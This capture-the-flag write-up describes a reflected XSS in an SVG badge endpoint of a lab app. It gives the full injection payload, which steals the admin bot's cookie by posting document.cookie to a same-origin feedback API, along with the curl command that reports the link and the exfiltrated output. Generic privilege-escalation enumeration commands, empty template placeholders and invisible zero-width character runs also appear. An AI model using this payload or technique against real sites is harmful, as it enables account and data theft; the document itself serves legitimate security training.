← Back to Writeups
HTBN/AWeb

DesignPulse — Reflected XSS via SVG Badge Injection

XESXOR8/23/20265 min read
#web#htb#n/a

DesignPulse — Reflected XSS via SVG Badge Injection

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-19 | Status: Solved Techniques: admin_bot_exploitation, honeypot_flag_identification, reflected_xss_in_svg_badge_endpoint, same_origin_exfiltration_via_unauthenticated_api, svg_script_injection_via_unsanitized_parameter

Summary

Task: Express/Node.js design platform with SVG badge generator that reflects unsanitized query parameters into SVG text elements; admin bot reviews reported URLs. Solution: Injected script tag via SVG badge name parameter, exfiltrated admin's non-HttpOnly flag cookie to unauthenticated feedback API endpoint.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260519_hackadvisor_designpulse
  • Tags: nodejs, xss, cookie_stealing, express, admin_bot, svg, reflected_xss, decoy_flag, same_origin_exfiltration, badge_injection
  • Indicators: SVG badge endpoint reflecting user input into <text> elements, Content-Type: image/svg+xml enables script execution in SVG, Unauthenticated API endpoint usable as same-origin exfiltration channel, Admin bot visits reported URLs, Decoy flags in HTML comments and hidden divs
  • Source: 20260519_hackadvisor_designpulse.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_bot_exploitation
  2. Honeypot_flag_identification
  3. Reflected_xss_in_svg_badge_endpoint
  4. Same_origin_exfiltration_via_unauthenticated_api
  5. Svg_script_injection_via_unsanitized_parameter
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_exploitation
  • honeypot_flag_identification
  • reflected_xss_in_svg_badge_endpoint
  • same_origin_exfiltration_via_unauthenticated_api
  • svg_script_injection_via_unsanitized_parameter
  • Tags: nodejs, xss, cookie_stealing, express, admin_bot, svg, reflected_xss, decoy_flag, same_origin_exfiltration, badge_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Description

DesignPulse is a collaborative design project management platform built for creative teams at Pulse Creative Inc. The application helps teams organize projects, track tasks through kanban boards, share design resources, and collaborate in real time. As a member of the design team, you have access to project boards, a shared resource library, team profiles, and personal notes. The platform also includes an embeddable project status badge system that generates SVG images for use in documentation and portfolios. An admin bot periodically reviews reported content links. Your goal is to find a way to compromise the admin's session and retrieve the flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Node.js/Express design collaboration platform includes an SVG badge generator endpoint that reflects query parameters without sanitization. An admin bot visits URLs submitted through a report form. The goal is to steal the admin's flag cookie via XSS.

Credentials: user@test.com / password123

Analysis

Application Reconnaissance

After logging in, the application exposes several features:

  • Dashboard with project overview
  • Projects with kanban boards
  • Resources — shared design resource library
  • Team — team member profiles
  • Notes — personal notes
  • Feedback (/api/feedback) — unauthenticated API accepting POST with {name, message, rating}
  • Report Content (/report) — submits a URL for an admin bot to visit ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

SVG Badge Endpoint

Each project page includes an embeddable badge. The endpoint at /api/badge takes name and status query parameters and returns an SVG image with Content-Type: image/svg+xml:

GET /api/badge?name=Prism%20Design%20System&status=active

Response:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="28" viewBox="0 0 200 28">
  <rect width="120" height="28" rx="4" fill="#555"/>
  <rect x="120" width="80" height="28" rx="4" fill="#22c55e"/>
  <rect x="120" width="4" height="28" fill="#22c55e"/>
  <text x="60" y="18" fill="#fff" font-family="sans-serif" font-size="11" text-anchor="middle">Prism Design System</text>
  <text x="160" y="18" fill="#fff" font-family="sans-serif" font-size="11" text-anchor="middle">active</text>
</svg>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The name parameter is reflected directly into a <text> element without any sanitization or encoding. Since the response is served as image/svg+xml, the browser treats it as a full SVG document — and SVG supports <script> tags with JavaScript execution.

Key Constraints

  1. Session cookie (connect.sid) is HttpOnly — cannot be read via document.cookie
  2. Flag cookie (flag) is NOT HttpOnly — readable via document.cookie
  3. Admin bot cannot reach external URLs — no webhook.site, no attacker-controlled servers
  4. /api/feedback accepts unauthenticated POST — perfect same-origin exfiltration channel
  5. Decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) are planted in HTML comments and hidden divs throughout the application — these are honeypots for automated scanners ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Craft the XSS Payload

The payload closes the <text> tag, injects a <script> that reads document.cookie and POSTs it to the unauthenticated /api/feedback endpoint:

</text><script>fetch("/api/feedback",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({name:"xss",message:document.cookie,rating:5})})</script><text>

This is injected into the name parameter of the badge URL:

/api/badge?name=%3C/text%3E%3Cscript%3Efetch(%22/api/feedback%22,{method:%22POST%22,headers:{%22Content-Type%22:%22application/json%22},body:JSON.stringify({name:%22xss%22,message:document.cookie,rating:5})})%3C/script%3E%3Ctext%3E&status=active

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The resulting SVG contains:

<text x="60" y="18" fill="#fff" font-family="sans-serif" font-size="11" text-anchor="middle"></text>
<script>fetch("/api/feedback",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({name:"xss",message:document.cookie,rating:5})})</script>
<text></text>

Step 2: Report the Malicious URL to the Admin Bot

Submit the crafted badge URL through the /report endpoint so the admin bot navigates to it:

TARGET="https://f7649905-1046-4a07-a142-687ab0ac7473.labs.hackadvisor.io"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Report the XSS badge URL to admin
curl -b "$COOKIE" -X POST "$TARGET/report" \
  -d "url=/api/badge?name=%3C/text%3E%3Cscript%3Efetch(%22/api/feedback%22,{method:%22POST%22,headers:{%22Content-Type%22:%22application/json%22},body:JSON.stringify({name:%22xss%22,message:document.cookie,rating:5})})%3C/script%3E%3Ctext%3E&status=active"

Response: "Report submitted successfully. An administrator will review this link shortly."

Step 3: Retrieve the Exfiltrated Cookie

After ~10 seconds, the admin bot visits the SVG URL. The injected script executes in the SVG document context, reads document.cookie, and POSTs it to /api/feedback. Retrieve it: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

curl -s "$TARGET/api/feedback" | python3 -m json.tool
{
    "id": "39657aa2-8847-40c6-abf5-5b1c13c8668d",
    "name": "xss",
    "message": "flag=FLAG{REDACTED}",
    "rating": 5,
    "created_at": "2026-05-19T04:36:25.313Z"
}

The admin's flag cookie was successfully exfiltrated.

Dead Ends

ApproachWhy It Failed
External webhook exfiltration (webhook.site, Burp Collaborator)Admin bot cannot reach external URLs — network-isolated
Stealing connect.sid session cookieMarked HttpOnly — not accessible via document.cookie
Decoy flags in HTML source (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts})Honeypot flags planted for automated scanners
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR